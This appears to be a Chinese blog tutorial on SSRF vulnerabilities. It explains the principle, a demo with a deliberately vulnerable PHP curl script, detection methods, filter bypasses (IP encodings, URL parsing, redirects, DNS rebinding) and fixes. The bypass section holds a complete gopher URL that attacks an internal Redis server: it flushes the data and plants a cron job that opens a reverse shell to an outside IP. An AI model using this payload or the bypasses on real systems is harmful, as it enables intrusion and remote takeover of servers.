0x01 漏洞原理

SSRF(Server-Side Request Forgery,服务端请求伪造),是攻击者让服务端发起构造的指定请求链接造成的漏洞。
由于存在防火墙的防护,导致攻击者无法直接入侵内网;这时攻击者可以以服务器为跳板发起一些网络请求,从而攻击内网的应用及获取内网数据。

最常见的例子:攻击者传入一个未经验证的URL,后端代码直接请求这个URL,就会造成SSRF漏洞。

请输入图片描述

0x02 漏洞危害

  1. 对服务器所在的内网进行端口扫描,获取一些服务的banner信息等
  2. 攻击运行在内网或者本地的应用程序
  3. 对内网WEB应用进行指纹识别,通过访问默认文件实现(Readme等文件)
  4. 攻击内外网的WEB应用,主要是GET就可以实现的攻击(比如Struts2,SQL注入等)
  5. 下载内网资源(利用file协议读取本地文件等)
  6. 利用Redis未授权访问,HTTP CRLF注入达到getshell
  7. wooyun峰会猪猪侠的ppt
  8. 进行跳板
  9. 无视cdn

0x03 漏洞演示

了解了漏洞的形成原因和原理后,我们通过简单的示例来进行一些危害的验证,这里我直接拿一个别人写的程序做下演示,或者也可以下载个 bwapp 练习也行,代码很简单,只有两个文件,一个是提交内容的 html 页面,另外一个是接受提交内容并加载的 php 文件,首先 html 文件内容如下:

<html>
<head>
     <style> div.main { margin-left:auto; margin-right:auto; width:50%; } body { background-color:  #f5f5f0; }</style>
     <title>
        Awesome Script!
     </title>
</head>
<body>
    <div class="main">
    <h1>Welcome to the Awesome Script</h1>
    <p>Here you will be able to load any page you want. You won't have to worry about revealing your IP anymore! We use the cURL library in order to perform the HTTP requests. Have fun!</p>
    <br>
    <form method="GET" action="curl.php">
        <input type="text" value="Website to load..." name="path">
        <input type="submit" value="Submit">
    </form>
</div>
    </body>
</html>

文件很简单只有一个表单,把用户输入的内容传给了 curl.php 文件,curl.php 是通过 curl 来加载访问用户提交的目标地址,代码如下:

<?php
    $location=$_GET['path']; 
    $curl = curl_init();
    curl_setopt ($curl, CURLOPT_URL, $location); 
    curl_exec ($curl); 
    curl_close ($curl);
?>

这个 php 文件就是一个 curl 使用的经典过程,初始化,然后设置访问的地址,随后执行,最后关闭。我们运行这个程序,输入一个目标的 url 地址,执行后结果如下图。

请输入图片描述

我们可以看下这个 SSRF 怎么去扫描内网的开放端口,我们可以尝试输入 localhost 加端口号进行尝试,这里我们为了方便,拦截这个提交的请求,通过 burp 遍历下端口。

请输入图片描述

我这里只遍历了 100 个端口,可以看到 80 端口是开放的。除此之外,也可以用来读取系统上的文件,例如我 c 盘下的一个 ssrf.txt。

请输入图片描述

上面我们使用了 http、https、file 这些协议,而在 SSRF 利用这块利用协议也有很多,例如示例中的 CURL,则其支持的协议有 dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, pop3, pop3s, rtsp, scp, sftp, smtp, smtps, telnet, tftp 。我们再来看几个常见的,例如 dict 字典协议,这个协议可以获取到指定端口的一些信息。
请输入图片描述

0x03 漏洞挖掘

请输入图片描述

对于挖掘部分一个是功能上找再一个就是 url 上,总结下就是只要是涉及到的请求地址或功能,就可能存在 SSRF 问题。像翻译功能,很多翻译都有提供 url 地址翻译,输入 url 地址然后把整个网站页面翻译成想要的语言,但输入地址翻译时,后台会去请求这个地址,但又没有经过严格过滤,基本这样就回存在 SSRF 问题,国内比较有名的翻译之前都有存在,后来被提后都修复了,但你搜索在线翻译,结果多往后翻几页,基本都有此问题。

检测方式

1.排除法:浏览器f12查看源代码看是否是在本地进行了请求

比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞

2.dnslog等工具进行测试,看是否被访问

--可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。

3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址

--从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址

--通过二级域名暴力猜解工具模糊猜测内网地址

4.直接返回的Banner、title、content等信息

5.留意bool型SSRF

代码审计

$url = $_GET['url'];
echo file_get_contents($url);
function GetFile($host,$port,$link) 
{ 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
    if (!$fp) 
    { 
        echo "$errstr (error number $errno) \n"; 
    } 
    else 
    { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) 
        { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}
$url = $_GET['url'];
curl($url); 

0x04 绕过方式

下文出现的192.168.0.1,10.0.0.1全部为服务器端的内网地址。

更改ip地址写法

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$

^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址我们可以改写成:

(1)、8进制格式:0300.0250.0.1

(2)、16进制格式:0xC0.0xA8.0.1

(3)、10进制整数格式:3232235521

(4)、16进制整数格式:0xC0A80001

还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1

利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

http://www.baidu.com@192.168.0.1/

当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

利用302跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。

(1)、在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。

(2)、由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过短地址的方式来绕过。经过测试发现新浪,百度的短地址服务并不支持IP模式,所以这里使用的是http://tinyurl.com所提供的短地址服务,如下图所示:

1.png

同样的,我们也可以自行写一个跳转的服务接口来实现类似的功能。

通过各种非HTTP协议

如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。

(1)、GOPHER协议:通过GOPHER我们在一个URL参数中构造Post或者Get请求,从而达到攻击内网应用的目的。例如我们可以使用GOPHER协议对与内网的Redis服务进行攻击,可以使用如下的URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

(2)、File协议:File协议主要用于访问本地计算机中的文件,我们可以通过类似file:///文件路径这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过file:///d:/1.txt 来访问D盘中1.txt的内容

DNS Rebinding

对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤:

2.png

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证

(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。

0x05 修复方式

1.禁止跳转

2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

3.禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题

4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)

5.限制请求的端口为http常用的端口,比如 80、443、8080、8090

6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

最后修改:2021 年 02 月 10 日 08 : 45 PM
如果觉得我的文章对你有用,请随意赞赏